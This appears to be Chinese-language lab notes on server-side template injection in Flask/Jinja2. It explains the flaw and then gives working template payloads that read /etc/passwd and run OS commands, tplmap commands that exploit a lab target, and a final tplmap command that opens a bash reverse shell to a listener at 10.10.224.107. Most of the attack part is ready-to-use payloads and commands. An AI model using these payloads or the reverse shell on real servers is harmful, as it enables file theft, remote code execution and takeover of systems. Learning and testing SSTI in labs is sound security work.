SSTI(服务器端模板注入)
0x01 简介
模板引擎允许开发人员使用带有动态元素的静态HTML页面。例如,静态配置文件.html一个模板引擎将允许开发人员设置一个用户名参数,该参数将始终设置为当前用户的用户名
服务器端模板注入是指用户能够传入一个参数,该参数可以控制服务器上运行的模板引擎。
例如:
这引入了一个漏洞,因为它允许黑客将模板代码注入网站。从XSS一直到RCE,其影响可能是毁灭性的。
注意:不同的模板引擎具有不同的注入有效负载,但是通常您可以使用{{2+2}}作为测试来测试SSTI。
0x02 文件读取
以python的flask模板引擎为例
文件读取:{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]()(/etc/passwd).read()}}
0x03 RCE
执行命令:{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}
{{config.__class__.__init__.__globals__['os'].popen(id).read()}}
0x04 Payload
SSTI各种payload参考
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
0x05 Tools-tplmap
注意:使用python2安装要求。python2 -m pip
根据请求方式不同,语法也有所不同
GET tplmap -u <URL> /?<vulnparam>
POST tplmap -u <URL> -d'<vulnparam>'
0x06 练习
0x01 验证漏洞
探测输入点是否存在SSTI
0x02 利用
使用tplmap对漏洞进行利用
python2 tplmap.py -u
http://10.10.20.97 -d 'name'
执行命令
python2 tplmap.py -u
http://10.10.20.97 -d 'name' --os-cmd "id"
0x03 GetShell
反弹Shell
python2 tplmap.py -u
http://10.10.20.97 -d 'name' --os-cmd "bash -c 'bash -i >&/dev/tcp/10.10.224.107/8888 0>&1'"